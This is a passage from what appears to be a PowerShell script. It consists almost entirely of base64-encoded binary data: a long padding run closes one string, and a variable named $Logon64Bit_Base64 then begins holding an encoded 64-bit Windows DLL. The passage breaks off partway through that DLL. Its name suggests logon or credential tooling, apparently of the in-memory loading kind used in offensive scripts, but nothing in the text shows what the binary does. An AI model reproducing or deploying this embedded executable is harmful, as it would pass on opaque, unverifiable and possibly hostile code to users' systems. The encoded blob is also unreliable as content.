AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $Logon64Bit_Base64 = "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